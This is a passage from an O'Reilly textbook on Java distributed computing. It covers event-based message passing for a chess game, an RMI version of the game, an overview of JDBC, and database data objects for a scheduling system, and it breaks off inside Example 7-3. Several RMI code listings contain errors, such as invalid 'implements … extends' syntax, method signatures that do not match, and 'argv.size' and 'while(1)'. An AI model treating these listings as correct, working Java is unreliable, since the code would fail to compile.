The EventTransceiver interface includes addHandler() methods that let you attach EventHandlers to this event source. You can register a handler for any events, or you can register a handler for a specific type of event by providing a second argument that's either an instance of an EventObject subclass, or the Class object for the subclass itself. The EventTransceiver keeps the registered handlers in a hashtable of Vectors that hold the EventHandlers; the sets of handlers are hashed by the EventObject subclass under which they were registered. Handlers can be removed from the transceiver using the corresponding removeHandler() methods. The distributeEvent() method takes an EventObject instance and passes it to the registered handlers. First it calls the handleEvent() method on any handlers registered to receive all events. Then it looks up the handlers registered for the specific type of event by getting the Class of the EventObject, and getting the Vector of EventHandlers from its table of handlers. It passes the EventObject to the handleEvent() method of any handlers it finds.

The EventTransceiver has a sendEvent() method for sending an Event-Object directly to its remote agent, and a receiveEvent() method that does a blocking read on the InputStream (using an ObjectInputStream wrapper) for an EventObject from the remote agent. The EventTransceiver also extends Thread, and in its run() method it performs an infinite loop, reading events from its InputStream using its receiveEvent() method and distributing them by calling its own distributeEvent() method.

Using the EventTransceiver class, implementing our chess-playing server is just a matter of subclassing a ChessEventServer class, as shown in Example 6-15. The ChessEventServer maintains its own ChessPlayer object, and it mediates a game between its player and a remote player, much like the message-passing ChessServer in Example 6-5. In its constructors, the ChessEventServer registers with itself to receive ChessMoveEvent and ChessConcedeEvent events.

Example 6-15. An Event-Based Chess Server

package dcj.examples.message;

import dcj.util.message.*;
import java.util.*;
import java.net.*;
import java.io.IOException;

public class ChessEventServer extends EventTransceiver {
  ChessPlayer player = new ChessPlayer();

  public ChessEventServer(String host, int port) {
    super(host, port);
    register();
  }

  public ChessEventServer(InetAddress host, int port) {
    super(host, port);
    register();
  }

  void register() {
    // Add ourselves to this handler's list for
    // chess-related events
    try {
      addHandler(this, Class.forName("ChessMoveEvent"));
      addHandler(this, Class.forName("ChessConcedeEvent"));
    }
    catch (ClassNotFoundException nfe) {}
  }

  public void handleEvent(EventObject e) {
    try {
      if (e instanceof ChessMoveEvent) {
        ChessMoveEvent cm = (ChessMoveEvent)e;
        ChessMove m = cm.getMove();
        switch (cm.getType()) {
          case ChessMoveEvent.SUBMIT:
            if (player.acceptMove(m)) {
              ChessMoveEvent conf = new ChessMoveEvent(m, player);
              conf.setConfirm();
              sendEvent(conf);

              ChessMove next = player.nextMove();
              if (next != null) {
                ChessMoveEvent submit = new ChessMoveEvent(next, player);
                sendEvent(submit);
              }
              else {
                sendEvent(new ChessConcedeEvent(player));
              }
            }
            else {
              ChessMoveEvent reject = new ChessMoveEvent(m, player);
              reject.setReject();
              sendEvent(reject);
            }
          break;

          case ChessMoveEvent.REJECT:
            ChessMove next = player.nextMove();
            if (next != null) {
              sendEvent(new ChessMoveEvent(next, player));
            }
            else {
              sendEvent(new ChessConcedeEvent(player));
            }
          break;

          case ChessMoveEvent.CONFIRM:
            player.moveAccepted(m);
          break;
        }
      }
      // If we get a concede message, the other player has
      // given up and we win...
      else if (e instanceof ChessConcedeEvent) {
        player.conceded();
      }
    }
    catch (IOException ioe) {
      System.out.println("IO error while handling event.");
      ioe.printStackTrace();
    }
  }
}

Both of these EventObject subclasses are shown in Example 6-16. Everything else is done in the ChessEventServer.handleEvent() method. When it receives a ChessMoveEvent from the remote agent, it checks the type of move event (SUBMIT, CONFIRM, or REJECT), and calls the appropriate method on the local player. If necessary, it takes output from the local player and sends it off to the remote player as a ChessMoveEvent or ChessConcedeEvent, calling its sendEvent() method to transmit the event to the remote agent. If a ChessConcedeEvent comes in, then it tells the local player that it won the game by calling its conceded() method.

Example 6-16. Chess-Specific EventObjects

package dcj.examples.message;

import java.util.EventObject;

public class ChessMoveEvent extends EventObject {
  ChessMove move;
  int type;

  public final static int SUBMIT = 0;
  public final static int CONFIRM = 1;
  public final static int REJECT = 2;

  public ChessMoveEvent(ChessMove subject, ChessPlayer src) {
    super(src);
    move = subject;
    type = SUBMIT;
  }

  public int getType() { return type; }

  // Set the type of the move event
  public void setConfirm() { type = CONFIRM; }
  public void setReject() { type = REJECT; }
  public void setSubmit() { type = SUBMIT; }

  // Get and set the move
  public ChessMove getMove() { return move; }
  public void setMove(ChessMove m) { move = m; }
}

public class ChessConcedeEvent extends EventObject {
  // Just a placeholder class, no data or methods needed
  public ChessConcedeEvent(ChessPlayer src) {
    super(src);
  }
}

6.6.3. Pros and Cons

In terms of the overall utility of the system, this event-based message-passing system is about equivalent to the framework we developed earlier in the chapter. What it offers, however, is the possibility of integrating our distributed event-handling system with AWT-based applications to create distributed user interfaces of a sort. Since our EventTransceiver is written to handle events in the form of Java EventObject, there's no reason it can't send and receive AWT events from user interfaces between agents on the network, as long as they are Serializable. Figure 6-2, for example, demonstrates an AWT button with a listener (the SurrogateActionListener) attached that sends action events from the button through the EventTransceiver to a remote agent, where the action is processed. The listener would need to implement the java.awt.ActionListener interface, as well as our EventHandler interface, as shown in Example 6-17.

Figure 6-2. Distributing AWT events to remote handlers

Example 6-17. A Surrogate AWT ActionListener

import java.awt.event.*;
import dcj.util.message;

public class SurrogateActionListener implements ActionListener,
                                                EventHandler {

  private EventTransceiver xceiver;

  public SurrogateActionListener(EventTransceiver t) {
    xceiver = t;
    // Register as handler for global events
    xceiver.addHandler(this);
  }

  public void actionPerformed(ActionEvent e) {
    // A local action event has been generated - send it
    // to the remote agent
    xceiver.sendEvent(e);
  }

  public void handleEvent(EventObject) {
    // Do something with events from the transceiver...
  }
}

We could attach this listener to a local AWT interface element like a Button, and when the Button generates an action event, it will be passed to the sendEvent() method on the EventTransceiver to a remote agent. The remote agent may then do something in reaction to the button event, and perhaps generate an event in response. The event will be received by the local EventTransceiver and, since the SurrogateActionListener registers itself with its EventTransceiver as a handler for any events, the transceiver will call the SurrogateActionListener's handleEvent() method, which can act on the event from the remote agent (change the button's color, put some text on the screen, etc.).

Using the SurrogateActionListener, we would only need to create an EventTransceiver as we did before, then construct a SurrogateActionListener, passing the EventTransceiver into its constructor. We would then register the listener as an ActionListener on the AWT Button by calling the Button's addActionListener() method. This would establish the event-passing link from the button, through the surrogate listener to the transceiver, and finally to the remote event handler.

Although this approach is interesting and potentially useful, you have to be careful what kinds of events you're trying to route over the network. The Event-Object is going to be serialized by the EventTransceiver and sent over the network to the remote transceiver. If the EventObject subclass keeps a non-transient reference to other local objects, like one of the AWT components, then these objects and any objects they reference, etc., down the whole reference tree, will be serialized and transmitted, too. This would result in an IOException if any of the objects in the tree aren't Serializable. If serialization succeeds, you might end up sending an unexpectedly large amount of data over the wire.

Be aware that the only state information that the remote event handler has to interpret the event is contained in the EventObject itself. Since the remote handler doesn't have direct access to the actual interface components (unless they were serialized within the EventObject), it can't directly query them for their state. So a little more care has to be taken in ensuring that each Event-Object contains all of the information the handler needs to deal with the event.

Previous | Home | Next
6.5. Adaptable Protocols | Book Index | 6.7. Using Remote Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using Remote Objects (Java Distributed Computing)

 Java Distributed Computing Search this book

6.7. Using Remote Objects

Earlier in the chapter we mentioned some of the situations that might lead you to use message passing rather than remote objects to handle the agent-to-agent communication in your distributed system. To get a more concrete feeling for the differences between a message-passing system and one based on remote objects, this section describes an RMI implementation of our chess game.

The RMI implementation of the chess game uses two remote objects: a remote chess player and a remote chess move. The interface for the RMIChessMove object is shown in Example 6-18. It has essentially the same interface as the ChessMove class in our earlier examples.

Example 6-18. A Remote Chess Move Interface

package dcj.examples.message;

import java.rmi.RemoteException;

// Interface for an RMI-based chess move

public interface RMIChessMove {
  public String from() throws RemoteException;
  public void setFrom(String f) throws RemoteException;
  public String to() throws RemoteException;
  public void setTo(String t) throws RemoteException;
  public int checkFlag() throws RemoteException;
  public void setCheckFlag (String f) throws RemoteException;
}

Example 6-19 shows the RMIChessMoveImpl class, which is the server implementation of the chess move object.

Example 6-19. Chess Move Implementation

package dcj.examples.message;

import java.rmi.*;

public class RMIChessMoveImpl implements RMIChessMove extends Remote {
  String fromPos;
  String toPos;
  int checkFlag;

  public RMIChessMoveImpl(String from, String to, int ckFlag) {
    fromPos = from;
    toPos = to;
    checkFlag = ckFlag;
  }

  public String from() throws RemoteException {
    return fromPos;
  }

  public void setFrom(String f) throws RemoteException {
    fromPos = f;
  }

  public String to() throws RemoteException {
    return toPos;
  }

  public void setTo(String t) throws RemoteException {
    toPos = t;
  }

  public int checkFlag() throws RemoteException {
    return checkFlag;
  }

  public void setCheckFlag(String f) throws RemoteException {
    checkFlag = f;
  }
}

Example 6-20 shows the interface for the RMIChessPlayer. It has essentially the same interface as the earlier ChessPlayer, except that we've changed the nextMove() method to return the player's move as an RMIChessMove object, rather than returning a boolean flag and filling in method arguments to indicate the move. We've also added a gameOver() method, which reveals whether the player has finished the game it was playing (win or lose).

Example 6-20. Remote Chess Player Interface

package dcj.examples.message;

import java.rmi.RemoteException;

// Interface for an RMI-based chess player

public interface RMIChessPlayer {
  public boolean acceptMove(RMIChessMove m) throws RemoteException;
  public RMIChessMove nextMove() throws RemoteException;
  public void moveAccepted(RMIChessMove m) throws RemoteException;
  public void conceded() throws RemoteException;
}

The server implementation of the RMIChessPlayer is shown in Example 6-21 as the RMIChessPlayerImpl. Again, it's very similar to the ChessPlayer implementation, with the addition of the booleangameOver data member, the exceedingly simple gameOver() method, and a main() method. The main() method on the RMIChessPlayerImpl takes the place of the ChessServer in our message-passing chess game. If we call it with a single command line argument, then that argument is treated as the name used to register a local RMIChessPlayerImpl object with the RMI Naming service. Once the local player is registered with the RMI registry, the method loops waiting for a remote player to start a game, checking the local player to see when its game is over before quitting. If we invoke the class with a local player name plus a remote host name and remote player name on the command line, then the main() method tries to look up a remote RMIChessPlayer on that host under that name. If it finds one, it mediates a game between the remote and local players, iteratively calling each player's nextMove() and acceptMove() methods.

Example 6-21. Chess Player Implementation

package dcj.examples.message;

// Server implementation of our RMI-based chess player

public class RMIChessPlayerImpl
  implements RMIChessPlayer extends Remote {

  // Our opponent
  protected RMIChessPlayer opponent = null;

  // Game-over indicator
  protected boolean gameOver = false;

  // Data structures for maintaining chess board state
  // ...

  public static final int CHECK = 0;
  public static final int CHECKMATE = 1;
  public static final int NO_CHECK = 2;

  public RMIChessPlayerImpl() {
    // Initialize chess board
  }

  public boolean acceptMove(RMIChessMove m) throws RemoteException {
    // Check validity of requested move.
    // If valid, apply to chess board and return true.
    // If invalid, return false.
    // ...
    return true;
  }

  public boolean nextMove(RMIChessMove m) throws RemoteException {
    // Generate our next move based on the current
    // state of the game board, and put it into the
    // ChessMove passed in.  If no move in this round,
    // return false.
    // ...
    return true;
  }

  public void moveAccepted(RMIChessMove m) throws RemoteException {
    // Our move was accepted as valid, apply it to the
    // game board...
    // ...
  }

  public void conceded() throws RemoteException {
    // We've won!
    gameOver = true;
  }

  public static void main(String argv[]) {
    String playerName = argv[0];
    // Create the chess player for our side of the game
    RMIChessPlayerImpl me = new RMIChessPlayerImpl();

    // If we've been given an opponent, try to start
    // a game with them...
    if (argv.size > 2) {
      String oppName = argv[1];
      String oppHost = argv[2];
      RMIChessPlayer opponent =
        (RMIChessPlayer)Naming.lookup("rmi://" + oppHost
                                      + "/" + oppName);

      RMIChessMoveImpl myMove = new RMIChessMoveImpl();
      RMIChessMoveImpl theirMove = new RMIChessMoveImpl();

      while (!gameOver) {
        if (opponent.nextMove(theirMove)) {
          while (!me.acceptMove(theirMove) &&
                 opponent.nextMove(theirMove)) {
            // Don't have to do anything, the while
            // loop conditions do all the work.
          }
        }

        if (me.nextMove(myMove)) {
          while (!opponent.acceptMove(myMove) &&
                 me.nextMove(myMove)) {}
        }
      }
    }
    else {
      // No arguments telling us where our opponent is, so
      // we register the local player and wait for them to come
      // to us.

      // Bind the player to their name in the registry
      Naming.rebind(playerName, player);
      // Now wait for another player to engage us in a game.
      while(1) {
        wait();
      }
    }
  }
}

In this version of our chess game, the MessageHandler and the various Message subclasses have been replaced by the remote method-calling services provided by RMI. The RMI-based chess game is also easier to extend with new features--we just need to add new methods to our RMIChessPlayer interface. In the worst case, we'll need to define some new remote objects to support new features. In the message-passing version, we would need to extend the ChessPlayer interface, create new subclasses of Message to support the new functions, and update the ChessServer class to support the new message types. What we've lost in the RMI version is some flexibility in terms of the low-level communication protocol. Since RMI is encapsulating all of the network-level details of the remote method calls, we can't control the data protocol directly, as we do with message passing. If RMI's network protocol imposes too much overhead on our distributed system, there's little we can do about it except minimize the data members and method arguments on our remote objects. And if we're faced with a firewall that blocks the RMI protocol (perhaps for reasons that are known only to the network operator), then our distributed system is stopped dead in its tracks. With a simple (some would say barebones) message-passing system, we can directly control the format of both the serialized data and the communication protocol to suit our needs, and we can get our messages through using relatively "unadorned" IP packets.

Previous | Home | Next
6.6. Message Passing with Java Events | Book Index | 7. Databases
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Databases (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 7. Databases

Contents:

An Overview of JDBC
Remote Database Applications
Multi-Database Applications

This chapter is a brief introduction to the topic of integrating databases into networked Java applications. As with many of the topics in this book, the development of database applications is a subject that can fill a book of its own. And it has, many times over. For the purposes of this book, rather than trying to cover the gamut of database design and development in depth, we will restrict this chapter to a discussion of the following topics:

  • An overview of the primary database access API available in the Java environment, JDBC

  • A discussion of the basic issues that arise in developing networked database applications

  • The special issues that come into play when multiple distributed databases are accessed from a single application

We assume that the reader has a basic understanding of general relational database topics, such as SQL and the layout of data into tables and records. For more in-depth coverage of the JDBC package than we will be able to provide here, refer to George Reese's book, Database Programming with JDBC and Java (O'Reilly & Associates).

7.1. An Overview of JDBC

JDBC is the database connectivity package included in the core Java API.[1] JDBC gives you a database-independent interface for opening a connection to a relational database, issuing SQL calls to the database, and receiving a set of data as the result. In more technical terms, JDBC acts as a Java implementation of the standard SQL call-level interface (CLI) defined by X/Open and supported by most major relational database vendors. In order to perform transactions with a specific type of database, you need to have a JDBC driver that acts as a bridge between the JDBC method calls and the native database interface.

[1]JDBC became a formal part of the JDK in version 1.1.

7.1.1. Data Retrieval Example

Perhaps the easiest way to get started with JDBC is to see a simple example of the API in action. Example 7-1 shows a Java code segment that opens a database connection, executes a query, and iterates through the results.

Example 7-1. A Simple JDBC Database Query

// Construct the database address
String dbaseURL = "jdbc:mysubprotocol://dbasehost/dbasename";
// Make the database connection
Connection dbConnection =
  DriverManager.getConnection(dbaseURL, "dbaseuser", "dbasepasswd");
// Create a statement and execute the SQL query
Statement query = dbConnection.getStatement();
ResultSet results =
  query.executeQuery("SELECT first_name, last_name from user_table");

// Iterate through the results and print them to standard output
while (results.next()) {
  String fname = results.getString("first_name");
  String lname = results.getString("last_name");
  System.out.println("Found user \"" + fname + " " + lname + "\"");
}

In the example, we refer to the database using a URL:

String dbaseURL = "jdbc:mysubprotocol://dbasehost/dbasename";

This URL is passed to the JDBC DriverManager's getConnection() method, along with an account name and password, to open a connection to the database:

Connection dbConnection =
  DriverManager.getConnection(dbaseURL, "dbaseuser", "dbasepasswd");

Once the connection is created, we construct a Statement object, which is used to issue an SQL query. In this case, we're retrieving all of the first and last names (user_fname and user_lname) from a table of user information (user_table). The results of the query are returned by JDBC as a ResultSet object:

Statement query = dbConnection.createStatement();
ResultSet results =
 query.executeQuery("SELECT first_name, last_name from user_table");

Finally, we can iterate over the results of the query and present them to the user:

while (results.next()) {
    String fname = results.getString("first_name");
    String lname = results.getString("last_name");
    System.out.println("Found user \"" + fname + " " + lname + "\"");
}

In the following sections, we'll examine JDBC in more detail to see how this and other database interactions are supported.

7.1.2. The API at a Glance

The JDBC API offers you interfaces that mirror the basic concepts surrounding relational databases. These interfaces, all part of the java.sql package, include interfaces for a DriverManager, a Connection, a Statement, and a ResultSet.

7.1.2.1. DriverManager

The DriverManager class provides the means to load database drivers into a Java application or applet; it is the primary way in JDBC to establish a connection to a database. A Java application first creates a DriverManager instance, then connects to a database by calling the DriverManager's static getConnection() method, passing a URL-like reference to the database as a method argument. The DriverManager searches the set of available drivers for one that can support a connection to the referenced database. If it finds one, it passes the database address to the driver and asks it to create a connection. The connection to the database is returned in the form of a Connection object (described later).

All JDBC drivers provide an implementation of the java.sql.Driver interface. When a DriverManager is created, it attempts to load a set of drivers specified by the sql.Driver's Java property, which can be set to a list of colon-delimited Driver class names. Additional drivers can also be loaded explicitly in the Java application as needed. When a Driver class is loaded into the Java runtime, it's responsible for creating an instance of itself and registering this instance with the resident DriverManager. So any additional drivers needed by an application can be loaded explicitly by using the Class.forName() method:

Driver myDriver = (Driver)Class.forName("specialdb.Driver");

Since the Driver class automatically registers itself with the DriverManager, there really isn't any reason to keep the reference to the Driver. You'll often see drivers loaded by just calling the forName() method and later referencing the driver by name when a database connection is made.

7.1.2.2. Connection

Once the necessary drivers have been loaded by the DriverManager, a connection to a database can be made through the getConnection() method of the DriverManager class. The desired database is specified with a String argument that acts as a URL-like address to the database. There is no standard format for this database address string; the DriverManager simply passes it to each loaded JDBC driver in turn and asks if it understands and supports the type of database being addressed. Typically, the database address will include explicit information about the type of driver to be used to make the connection. For example, JDBC drivers using ODBC protocol to establish database connections usually use addresses of the form:

jdbc:odbc:financedata,

where financedata is a local data source. Access to a remote database from a local client may involve an address of a slightly different form:

jdbc:drvr://dataserver.foobar.com:500/financedata.

The JDBC API specification recommends that database URLs take the form:

jdbc:<sub-protocol>:<sub-name>,

where <sub-protocol> specifies a database connection service and <sub-name> provides all of the information that the underlying service will need to find the database and connect to it. So in the remote database URL shown above, drvr is the sub-protocol, specifying a specific driver to use to connect to our database. The dataserver.foobar.com:500/financedata portion of the URL acts as the sub-name, and gives the information the driver needs to find our database. Other drivers may require you to specify sub-protocols and sub-names differently. You should consult the documentation for the JDBC drivers you're using to find out what form your database URLs should take.

The getConnection() method on DriverManager either returns a Connection object that represents the connection to the named database, or throws an exception if the connection couldn't be established.

7.1.2.3. Statement

The Connection interface allows the user to create query statements to the database. Query statements are represented as Statement objects or subclasses. The Connection interface provides three methods for creating database query statements: createStatement(), prepareStatement(), and prepareCall(). The createStatement() method is used for simple SQL statements that don't involve any parameters. This returns a Statement object that can be used to issue SQL queries to the database, normally using its executeQuery() method. This method accepts an SQL statement as a string argument, and the results of the statement are returned in the form of a ResultSet object (described later). Other methods available in the Statement interface for issuing SQL statements to the database are execute(), which is used for SQL queries that can return multiple result sets, and executeUpdate(), which can be used to issue INSERT, UPDATE, or DELETE statements.

In addition to the basic Statement interface, a Connection object can be used to create precompiled PreparedStatement s, and CallableStatements that represent stored procedures in the database. An SQL statement involving input parameters, or a statement that you want to execute multiple times, can be created using the prepareStatement() method on a Connection object, which returns a PreparedStatement object. The SQL statement passed into the prepareStatement() method is precompiled so that multiple executions of the statement will be more efficient. This subclass of Statement supports setting the values of precompiled input parameters through a series of setXXX() methods. The PreparedStatement object has an executeQuery() method that requires no arguments, and instead executes the precompiled SQL statement on the database. Note that not all database vendors or JBC drivers support precompiled statements, so check your DBMS documentation and JDBC driver specifications to see if you can use PreparedStatements.

A stored SQL procedure can be accessed through an SQL statement created through the prepareCall() method on a Connection object. This method returns a CallableStatement object, which lets you set input parameters and get output parameters from the statement.

By default, the JDBC package is configured to commit each Statement issued through a Connection. If you need to do rollbacks of transactions, or you want to commit multiple statements as a single transaction, or both, you can disable the autocommit feature by calling Connection.setAutoCommit(false) . Then a sequence of Statements can be created from a Connection object, executed against the database, and the entire transaction can be committed as one transaction by calling the Connection's commit() method. If you want to abort the transaction, you can call the Connection's rollback() method.

7.1.2.4. ResultSet

Rows of data returned from the execution of a statement against a database are represented as ResultSet objects in JDBC. For example, the executeQuery() method of the Statement interface returns a ResultSet object. A ResultSet object provides ways to iterate through the rows of data returned as the result of an SQL query, through its next() method; data fields within each row can be retrieved by name or by column index number using its getXXX() methods. The user needs to know the type of data to expect in each column of returned data, since each data item is retrieved through type-specific getXXX() methods.

Depending on how your JDBC driver is implemented, iterating through the rows of data in a ResultSet may cause individual data fetches from the database, or it may simply pull each row of data from a local cache. If the performance of your data transactions is an issue in your application, you should determine how returned data is handled by your vendor's drivers.

Previous | Home | Next
6.7. Using Remote Objects | Book Index | 7.2. Remote Database Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Remote Database Applications (Java Distributed Computing)

 Java Distributed Computing Search this book

7.2. Remote Database Applications

As we alluded to earlier in the book, client-server applications are often broken down into different levels, or tiers, to use the current vernacular. A typical application breakdown involves three tiers: user-interface functions, application objects, and data access. Up until now, we've mostly been discussing ways of distributing the application logic across the network, using distributed objects or some form of message passing to allow elements of the core application to lie on remote hosts. In this chapter, we'll discuss the options available for implementing the data access level of a distributed application.

The data access tier of a multitiered distributed application can be divided into two subtiers, as shown in Figure 7-1. First, an interface must be established between JDBC and the actual DBMS holding the data. A set of data objects representing the concepts in the database can then be defined; these objects serve as an interface from the application-level objects to the data in the database. These data objects interact with the DBMS through the JDBC interface to perform operations on the low-level data that they represent. The application-layer objects interact with the data objects to query and update the data.

Figure 7-1. Breakdown of the data access tier

7.2.1. JDBC Driver Configurations

Before you can use the JDBC API to engage in transactions with your database, a JDBC driver that is connected to your database has to be available. The JDBC driver accepts the JDBC transaction protocol and converts it to the appropriate native commands for the type of RDBMS you are using.

Figure 7-2 shows the various ways that a JDBC driver can be configured to interact with an RDBMS. The first configuration involves a JDBC driver running on the database host machine and interacting directly with the relational database. The JDBC client, consisting of JDBC API code plus the JDBC driver, resides either on a remote machine or on the database host itself. The JDBC driver accepts connections from clients using the JDBC API to issue statements to the database. The driver converts the JDBC commands directly into the RDBMS native access protocol (typically SQL with the addition of some proprietary commands) and issues the native statements to the RDBMS. The results from the database are received by the JDBC driver, converted to the appropriate transmission format, and sent to the JDBC client, where they are returned in the form of a ResultSet object to the caller.

Figure 7-2. JDBC driver configurations

The second configuration is similar to the first, except that an ODBC driver sits between the JDBC driver and the relational database. ODBC is a standard relational database driver API that has become popular because it insulates applications from the specifics of particular relational databases. ODBC drivers are offered for nearly all major RDBMS vendors on the market today. In this configuration, the JDBC driver acts as before with respect to the client, accepting and responding to JDBC transaction requests. Now, however, these transactions are converted to ODBC statements and issued to the ODBC driver, which in turn converts the statements to the RDBMS native format. This configuration uses a JDBC-ODBC bridge, which is essentially a JDBC driver that speaks ODBC, rather than a specific database vendor's access protocol. The advantage to using ODBC to communicate with the database is the ability to migrate your data and its structure to another database, or to apply the same application to another database with an ODBC driver. ODBC is also an important option to consider when a native JDBC driver is not available for the database in question. However, adding an additional conversion step in the query process can be inefficient, and sometimes unacceptable in high-throughput applications.

The third configuration is one where a JDBC driver on the client converts JDBC statements directly into a networked protocol. This protocol is then transmitted to a remote database server fitted with a module capable of receiving this protocol and responding to it. The database client now contains only the JDBC API and the JDBC driver for this networked protocol. The advantage of this configuration is that the client element of the JDBC driver can be relatively simple, since it only needs to convert JDBC commands into the networked protocol. All of the logic for converting data types to native database types and back again, issuing statements to the native database through its access protocol, and mapping the results into either Java objects or the appropriate Exception, resides with the more complex agent on the database server. This option of reducing the amount of code residing on the data client can be an important one, especially in an applet context in which the client agent is running on a user's desktop.

The first two JDBC driver configurations (JDBC directly to DBMS and JDBC to ODBC to DBMS) also can be used to access databases on remote hosts. Many native DBMS drivers as well as ODBC drivers include support for networked access of database servers. These drivers serialize native database protocols or the ODBC protocol and engage in transactions with a remote DBMS over the network. The DBMS host server needs to be augmented with drivers that can accept these networked connections. In this case, the DBMS or ODBC drivers need to reside on the client host, in addition to the network transaction drivers.

7.2.2. Defining the Data Objects

With these database driver configurations, we can examine our options for implementing the data objects of our multitiered distributed application.

One of the design principles we've been advocating is encapsulation--hiding the low-level implementation details of a system or subsystem and providing a clean, well-defined interface to it. This principle is also applicable in the design of the data access layer of distributed applications. The "low-level details" we want to hide through encapsulation are things like the type of DBMS being used (e.g., relational or object-oriented, vendor name, DBMS version), the specific location (e.g., host, database name, etc.) of the data on the network, and even the structural layout of the data in the database (e.g., field, table, and view names in a relational database).

Data layer encapsulation is achieved in the Java environment by defining classes that represent the conceptual data stored in your database. Think about storing and retrieving personal information (e.g., name, address, phone number). Ignoring the data layout issues for the moment, we would normally want to encapsulate this data as a Java class that represents a person:

class DBPerson {
    Connection c;    // The connection to the database
    String name;     // Name of the desired person
    // Any other data we want to cache within the object
        ...

    public DBPerson(String name, Connection c, boolean preload) {
        dbConn = c;
        if (preload) {
            initFromDB();
        }
    }

    public String getAddress() {
        // Perform database transactions to retrieve
        // address information
            ...
    }

The data objects that we use to represent concepts stored in our database tables can be either local or remote with respect to the application logic of our system. If they are local, the data objects could be Java objects that access the database using JDBC directly. If our system will involve remote data objects, perhaps due to issues regarding direct access to the database, then the data objects would need to be accessible from the local client as a data server. This access could be provided through distributed objects implemented in RMI or CORBA, or it could be through simpler message-passing techniques such as those described in Chapter 6, "Message-Passing Systems". In the following sections we'll examine an example database application, and the different ways the data objects could be implemented in both a local and remote context.

7.2.3. A Scheduling Example

To demonstrate these ideas, let's turn to a distributed application involving databases. Our example will revolve around a generic scheduling system, where the data to be stored in a DBMS will include information on resources, tasks to be accomplished with these resources, temporal constraints between tasks, and assignments of resources to tasks. Let's assume for now that the data is stored in a relational database of some sort, and is arranged into tables as shown in Figure 7-3. A RESOURCE record identifies an available resource, along with its name, coded type, and a size value that is interpreted based on its type (e.g., the size of a storage bin may be some volume measurement, while the size of a drill press may be the largest job it can process). A TASK record represents a task that needs to be accomplished using the available resources. It includes a coded type field and a size that is also interpreted based on its type. A TIME_CONSTRAINT record represents a constraint on the completion times of two tasks. A coded type field indicates what kind of temporal constraint is being placed on the two tasks (e.g., "before," "after," "during"). A RES_ASSIGNMENT record represents the assignment of a task to a resource at a given time. The complete set of RES_ASSIGNMENT records represents a schedule for this set of resources and tasks. The RESOURCE and TASK tables have primary keys (rid and tid, respectively), which are unique identifiers for the records in these tables. The records in the TIME_CONSTRAINT table are keyed off of the TASK records that they reference in their task1 and task2 fields. The RES_ASSIGNMENT records are also indirectly keyed off of the resource and task IDs that they associate in time.

Figure 7-3. Data layout for a scheduling database

In designing the data objects that will be used to access this data, we have to consider several factors, including:

  • What is a sensible way to represent this information in an application?

    In this case, it seems obvious that we will need object representations of resources and tasks. But what about temporal constraints and resource assignments? If the goal is to develop a scheduling application with update capabilities, then it will probably be worthwhile having an explicit object representation of both constraints and resource assignments, so that they can be created and manipulated directly by the scheduling algorithm. If we are developing a simple schedule viewing tool, then these objects may not be necessary, and it would be sufficient to be able to ask a resource object for a list of tasks assigned to it, and to ask a task for a list of the other tasks which constrain it temporally.

  • How will the objects access the database--through a centralized access connection, or through individual database connections?

    Generally, the best data throughput is achieved by creating a single database connection and accessing all data associated with various objects through it, rather than creating a new connection and executing a database transaction for each data element of each object. This is due to the overhead typically involved in setting up the connection to the database: if each new object has to create its own connection, setting up the connection will delay the availability of the data that object represents. There are situations, however, where it makes sense for a data object to manage its own database connection. A multi-database query interface, for example, may want to display a set of data hits using some metadata collected during the search, connected to a data object that is triggered to retrieve the actual data when the user selects it. If the set of remote databases included in the search is large or variable, it may be more sensible to have each data object manage its own connection to the source of its data.

  • How dynamic will these objects be with respect to the database; i.e., how and when will an update to the database be reflected in corresponding Java data objects?

    This also depends on the nature of the application being developed on top of this data. It's safest to have no data cached within the data objects themselves, and have every request generate a new transaction with the database to get the newest data. This guarantees that the data presented to the user or the requesting agent is always current. If, however, we know that the update frequency of the data on the database server is fairly low, if we are accessing remote data sources over a low-bandwidth or unreliable network, or if we suspect that the data server will be unable to handle the extra requests, then we may want to cache data in the data objects to improve the overall performance of the application.

  • What kinds of privileges will these objects be expected to have over the data they represent (e.g., will they be able to update the database data, or only represent a read-only view of the data)?

    Again, the answer to this depends on the nature of the application. If we are developing a schedule generation engine, then the data objects need update privileges on the database tables so that new time constraints and resource assignments can be added. If a schedule viewing tool is being developed, then the data object will simply need select privileges on the database tables.

For the scheduling example we are discussing, we can assume that the data objects will need to create new time constraint and resource assignment entries in the database. We should also provide a means to create new resources and tasks, unless we know that this data will always be created by another agent.

7.2.4. JDBC-Enabled Data Objects

For the first version of our scheduling data objects, we'll implement the Java classes using JDBC directly to access the scheduling database. We'll be depending on the JDBC driver configuration to provide networked access to remote databases. Later we'll look at how to access remote databases in other ways.

The Java classes for our JDBC example will be designed along the lines of Figure 7-4. A DatabaseItem class serves as the base class for all of our data objects. It maintains a global database Connection for all of the data objects in the application, and provides two abstract methods for reading and writing the objects in the database pointed at by the global Connection. The data objects that we'll derive from this base class will have a one-to-one mapping with the tables in our database.

Figure 7-4. Data objects for the scheduling example

Example 7-2 shows the Java code for the DatabaseItem interface. This base class provides slots for a global java.sql.Connection object and for a validity flag. The global Connection is used for all transactions made by the data objects with the database to retrieve or update their data. The DatabaseItem interface also includes two abstract methods: updateToDbase() and updateFrom-Dbase(). These have to be implemented in subclasses to perform the necessary database transactions to store the object's data to the database, and to retrieve the object's current data from the database, respectively. Anytime during the lifetime of a DatabaseItem, its updateFromDbase() method can be called to refresh the local data from the database, or its updateToDbase() method can be called to update the database with the local data.

Example 7-2. Base Class for Database Items

package dcj.examples.dbase;

import java.sql.*;

abstract class DatabaseItem {
  static Connection dbConn;
  boolean valid;

  public boolean isValid() { return valid; }

  public abstract boolean updateToDbase();
  public abstract boolean updateFromDbase();
}

The classes representing the data objects for our scheduling examples are shown in Example 7-3 through Example 7-6. The SchedResource and SchedTask classes in Example 7-3 and Example 7-4 represent resources and tasks in the database, while the TimeConstraint and ResAssignment classes in Example 7-5 and Example 7-6 represent constraints between tasks and assignments of resources to tasks.

Example 7-3. Schedule Resource Object

package dcj.examples.dbase;

import java.sql.*;
import java.util.Vector;

class SchedResource extends DatabaseItem {
  int rid;
  String name;
  int type;
  float size;

  public SchedResource(int id) {
    rid = id;
    valid = updateFromDbase();
  }

  public SchedResource(String n, int t, float s) {

    try {
      Statement st = DatabaseItem.dbConn.createStatement();
      int rcnt = st.executeUpdate("INSERT INTO resource "
